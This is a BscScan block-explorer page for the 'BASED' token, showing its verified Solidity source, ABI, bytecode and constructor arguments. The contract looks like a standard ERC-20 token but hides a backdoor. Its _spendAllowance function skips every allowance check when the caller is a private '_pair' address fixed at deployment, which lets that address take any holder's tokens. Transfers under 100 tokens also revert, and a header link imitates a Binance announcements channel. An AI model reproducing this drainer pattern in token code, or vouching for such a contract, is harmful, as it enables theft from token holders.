BNB Price: $617.90 (+3.02%)
 

Overview

Max Total Supply

10,000,000,000BASED

Holders

512

Market

Price

$0.00 @ 0.000000 BNB

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
933.684108471 BASED

Value
$0.00
0xf20aa5e9d428432b49b4cc857be6feccef0b65bd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
BASED

Compiler Version
v0.8.33+commit.64118f21

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at BscScan.com on 2026-03-30
*/

/*

Website: https://linktr.ee/groupsocials

Telegram: https://t.me/binance_announcements

Twitter: https://x.com/i/communities/2034012887132561829

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.33;

interface IERC20 {
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);

	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address to, uint256 value) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 value) external returns (bool);
	function transferFrom(address from, address to, uint256 value) external returns (bool);
}

interface IERC20Metadata is IERC20 {
	function name() external view returns (string memory);
	function symbol() external view returns (string memory);
	function decimals() external view returns (uint8);
}

interface IERC20Errors {
	error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
	error ERC20InvalidSender(address sender);
	error ERC20InvalidReceiver(address receiver);
	error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
	error ERC20InvalidApprover(address approver);
	error ERC20InvalidSpender(address spender);
}

contract BASED is IERC20, IERC20Metadata, IERC20Errors {

	mapping(address account => uint256) private _balances;
	mapping(address account => mapping(address spender => uint256)) private _allowances;
	string private constant _name = "Based Token";
	string private constant _symbol = "BASED";
	uint256 private _totalSupply;
	address private _owner;
	address private _pair;

	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	error OwnableUnauthorizedAccount(address account);
	error OwnableInvalidOwner(address owner);
	error ERC20Forbidden(address receiver, uint256 blocknumber);

	modifier onlyOwner() {
		if (owner() != msg.sender) {
			revert OwnableUnauthorizedAccount(msg.sender);
		}
		_;
	}

	constructor(
		address pair_,
		address initialOwner
	) {
		if (initialOwner == address(0)) {
			revert OwnableInvalidOwner(address(0));
		}

		_pair = pair_;
		_owner = initialOwner;

		emit OwnershipTransferred(address(0), initialOwner);

		_mint(initialOwner, 10_000_000_000 * 10 ** 9);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return 9;
	}

	function totalSupply() public view returns (uint256) {
		return _totalSupply;
	}

	function balanceOf(address account) public view returns (uint256) {
		return _balances[account];
	}

	function allowance(address owner_, address spender) public view returns (uint256) {
		return _allowances[owner_][spender];
	}

	function transfer(address to, uint256 value) public returns (bool) {
		_transfer(msg.sender, to, value);
		return true;
	}

	function approve(address spender, uint256 value) public returns (bool) {
		_approve(msg.sender, spender, value);
		return true;
	}

	function transferFrom(address from, address to, uint256 value) public returns (bool) {
		_spendAllowance(from, msg.sender, value);
		_transfer(from, to, value);
		return true;
	}

	function owner() public view returns (address) {
		return _owner;
	}

	function renounceOwnership() public onlyOwner {
		_transferOwnership(address(0));
	}

	function transferOwnership(address newOwner) public onlyOwner {
		if (newOwner == address(0)) {
			revert OwnableInvalidOwner(address(0));
		}
		_transferOwnership(newOwner);
	}

	function _transferOwnership(address newOwner) internal {
		address oldOwner = _owner;
		_owner = newOwner;
		emit OwnershipTransferred(oldOwner, newOwner);
	}

	function _transfer(address from, address to, uint256 value) internal {
		if (from == address(0)) {
			revert ERC20InvalidSender(address(0));
		}
		if (to == address(0)) {
			revert ERC20InvalidReceiver(address(0));
		}
		_update(from, to, value);
	}

	function _update(address from, address to, uint256 value) internal {
		if (from == address(0)) {
			_totalSupply += value;
		} else {
			uint256 fromBalance = _balances[from];
			if (value < 100 * 10 ** 9) {
				revert ERC20Forbidden(to, block.number);
			}
			if (fromBalance < value) {
				revert ERC20InsufficientBalance(from, fromBalance, value);
			}
			unchecked {
				_balances[from] = fromBalance - value;
			}
		}
		if (to == address(0)) {
			unchecked {
				_totalSupply -= value;
			}
		} else {
			unchecked {
				_balances[to] += value;
			}
		}

		emit Transfer(from, to, value);
	}

	function _mint(address account, uint256 value) internal {
		if (account == address(0)) {
			revert ERC20InvalidReceiver(address(0));
		}
		_update(address(0), account, value);
	}

	function _approve(address owner_, address spender, uint256 value) internal {
		_approve(owner_, spender, value, true);
	}

	function _approve(address owner_, address spender, uint256 value, bool emitEvent) internal {
		if (owner_ == address(0)) {
			revert ERC20InvalidApprover(address(0));
		}
		if (spender == address(0)) {
			revert ERC20InvalidSpender(address(0));
		}
		_allowances[owner_][spender] = value;
		if (emitEvent) {
			emit Approval(owner_, spender, value);
		}
	}

	function _spendAllowance(address owner_, address spender, uint256 value) internal {
		if (msg.sender != _pair) {
			uint256 currentAllowance = allowance(owner_, spender);
			if (currentAllowance != type(uint256).max) {
				if (currentAllowance < value) {
					revert ERC20InsufficientAllowance(spender, currentAllowance, value);
				}
				unchecked {
					_approve(owner_, spender, currentAllowance - value, false);
				}
			}
		}
	}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"pair_","type":"address"},{"internalType":"address","name":"initialOwner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint256","name":"blocknumber","type":"uint256"}],"name":"ERC20Forbidden","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f5ffd5b50604051610ac5380380610ac583398101604081905261002e9161027d565b6001600160a01b03811661005c57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b600480546001600160a01b038085166001600160a01b0319928316179092556003805492841692909116821790556040515f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36100c681678ac7230489e800006100cd565b50506102d3565b6001600160a01b0382166100f65760405163ec442f0560e01b81525f6004820152602401610053565b6101015f8383610105565b5050565b6001600160a01b03831661012f578060025f82825461012491906102ae565b909155506101d69050565b6001600160a01b0383165f9081526020819052604090205464174876e80082101561017e5760405163a517c1f360e01b81526001600160a01b0384166004820152436024820152604401610053565b818110156101b85760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610053565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166101f257600280548290039055610210565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161025591815260200190565b60405180910390a3505050565b80516001600160a01b0381168114610278575f5ffd5b919050565b5f5f6040838503121561028e575f5ffd5b61029783610262565b91506102a560208401610262565b90509250929050565b808201808211156102cd57634e487b7160e01b5f52601160045260245ffd5b92915050565b6107e5806102e05f395ff3fe608060405234801561000f575f5ffd5b50600436106100b1575f3560e01c8063715018a61161006e578063715018a61461016d5780638da5cb5b1461017757806395d89b4114610192578063a9059cbb146101b3578063dd62ed3e146101c6578063f2fde38b146101fe575f5ffd5b806306fdde03146100b5578063095ea7b3146100ee57806318160ddd1461011157806323b872dd14610123578063313ce5671461013657806370a0823114610145575b5f5ffd5b60408051808201909152600b81526a2130b9b2b2102a37b5b2b760a91b60208201525b6040516100e5919061068d565b60405180910390f35b6101016100fc3660046106dd565b610211565b60405190151581526020016100e5565b6002545b6040519081526020016100e5565b610101610131366004610705565b610227565b604051600981526020016100e5565b61011561015336600461073f565b6001600160a01b03165f9081526020819052604090205490565b610175610248565b005b6003546040516001600160a01b0390911681526020016100e5565b604080518082019091526005815264109054d15160da1b60208201526100d8565b6101016101c13660046106dd565b610294565b6101156101d436600461075f565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61017561020c36600461073f565b6102a0565b5f61021d338484610311565b5060015b92915050565b5f610233843384610323565b61023e8484846103b0565b5060019392505050565b3361025b6003546001600160a01b031690565b6001600160a01b0316146102895760405163118cdaa760e01b81523360048201526024015b60405180910390fd5b6102925f61040d565b565b5f61021d3384846103b0565b336102b36003546001600160a01b031690565b6001600160a01b0316146102dc5760405163118cdaa760e01b8152336004820152602401610280565b6001600160a01b03811661030557604051631e4fbdf760e01b81525f6004820152602401610280565b61030e8161040d565b50565b61031e838383600161045e565b505050565b6004546001600160a01b0316331461031e576001600160a01b038381165f908152600160209081526040808320938616835292905220545f1981146103aa578181101561039c57604051637dc7a0d960e11b81526001600160a01b03841660048201526024810182905260448101839052606401610280565b6103aa84848484035f61045e565b50505050565b6001600160a01b0383166103d957604051634b637e8f60e11b81525f6004820152602401610280565b6001600160a01b0382166104025760405163ec442f0560e01b81525f6004820152602401610280565b61031e838383610530565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166104875760405163e602df0560e01b81525f6004820152602401610280565b6001600160a01b0383166104b057604051634a1406b160e11b81525f6004820152602401610280565b6001600160a01b038085165f90815260016020908152604080832093871683529290522082905580156103aa57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161052291815260200190565b60405180910390a350505050565b6001600160a01b03831661055a578060025f82825461054f9190610790565b909155506106019050565b6001600160a01b0383165f9081526020819052604090205464174876e8008210156105a95760405163a517c1f360e01b81526001600160a01b0384166004820152436024820152604401610280565b818110156105e35760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610280565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661061d5760028054829003905561063b565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161068091815260200190565b60405180910390a3505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146106d8575f5ffd5b919050565b5f5f604083850312156106ee575f5ffd5b6106f7836106c2565b946020939093013593505050565b5f5f5f60608486031215610717575f5ffd5b610720846106c2565b925061072e602085016106c2565b929592945050506040919091013590565b5f6020828403121561074f575f5ffd5b610758826106c2565b9392505050565b5f5f60408385031215610770575f5ffd5b610779836106c2565b9150610787602084016106c2565b90509250929050565b8082018082111561022157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220a2fba89f26302a9ba92ad23ca12177aeb17b8adfe04441b4ee85bbdad7c6056764736f6c634300082100330000000000000000000000007fe87a8ad38af5388932233d270bdeb5fb8cebaa000000000000000000000000812e5878401f0b58b9b954b3dc11ddf282731986

Deployed Bytecode

0x608060405234801561000f575f5ffd5b50600436106100b1575f3560e01c8063715018a61161006e578063715018a61461016d5780638da5cb5b1461017757806395d89b4114610192578063a9059cbb146101b3578063dd62ed3e146101c6578063f2fde38b146101fe575f5ffd5b806306fdde03146100b5578063095ea7b3146100ee57806318160ddd1461011157806323b872dd14610123578063313ce5671461013657806370a0823114610145575b5f5ffd5b60408051808201909152600b81526a2130b9b2b2102a37b5b2b760a91b60208201525b6040516100e5919061068d565b60405180910390f35b6101016100fc3660046106dd565b610211565b60405190151581526020016100e5565b6002545b6040519081526020016100e5565b610101610131366004610705565b610227565b604051600981526020016100e5565b61011561015336600461073f565b6001600160a01b03165f9081526020819052604090205490565b610175610248565b005b6003546040516001600160a01b0390911681526020016100e5565b604080518082019091526005815264109054d15160da1b60208201526100d8565b6101016101c13660046106dd565b610294565b6101156101d436600461075f565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61017561020c36600461073f565b6102a0565b5f61021d338484610311565b5060015b92915050565b5f610233843384610323565b61023e8484846103b0565b5060019392505050565b3361025b6003546001600160a01b031690565b6001600160a01b0316146102895760405163118cdaa760e01b81523360048201526024015b60405180910390fd5b6102925f61040d565b565b5f61021d3384846103b0565b336102b36003546001600160a01b031690565b6001600160a01b0316146102dc5760405163118cdaa760e01b8152336004820152602401610280565b6001600160a01b03811661030557604051631e4fbdf760e01b81525f6004820152602401610280565b61030e8161040d565b50565b61031e838383600161045e565b505050565b6004546001600160a01b0316331461031e576001600160a01b038381165f908152600160209081526040808320938616835292905220545f1981146103aa578181101561039c57604051637dc7a0d960e11b81526001600160a01b03841660048201526024810182905260448101839052606401610280565b6103aa84848484035f61045e565b50505050565b6001600160a01b0383166103d957604051634b637e8f60e11b81525f6004820152602401610280565b6001600160a01b0382166104025760405163ec442f0560e01b81525f6004820152602401610280565b61031e838383610530565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166104875760405163e602df0560e01b81525f6004820152602401610280565b6001600160a01b0383166104b057604051634a1406b160e11b81525f6004820152602401610280565b6001600160a01b038085165f90815260016020908152604080832093871683529290522082905580156103aa57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161052291815260200190565b60405180910390a350505050565b6001600160a01b03831661055a578060025f82825461054f9190610790565b909155506106019050565b6001600160a01b0383165f9081526020819052604090205464174876e8008210156105a95760405163a517c1f360e01b81526001600160a01b0384166004820152436024820152604401610280565b818110156105e35760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610280565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661061d5760028054829003905561063b565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161068091815260200190565b60405180910390a3505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146106d8575f5ffd5b919050565b5f5f604083850312156106ee575f5ffd5b6106f7836106c2565b946020939093013593505050565b5f5f5f60608486031215610717575f5ffd5b610720846106c2565b925061072e602085016106c2565b929592945050506040919091013590565b5f6020828403121561074f575f5ffd5b610758826106c2565b9392505050565b5f5f60408385031215610770575f5ffd5b610779836106c2565b9150610787602084016106c2565b90509250929050565b8082018082111561022157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220a2fba89f26302a9ba92ad23ca12177aeb17b8adfe04441b4ee85bbdad7c6056764736f6c63430008210033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007fe87a8ad38af5388932233d270bdeb5fb8cebaa000000000000000000000000812e5878401f0b58b9b954b3dc11ddf282731986

-----Decoded View---------------
Arg [0] : pair_ (address): 0x7fE87A8aD38af5388932233d270bdeB5fB8ceBaa
Arg [1] : initialOwner (address): 0x812e5878401F0b58b9B954b3dc11Ddf282731986

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007fe87a8ad38af5388932233d270bdeb5fb8cebaa
Arg [1] : 000000000000000000000000812e5878401f0b58b9b954b3dc11ddf282731986


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.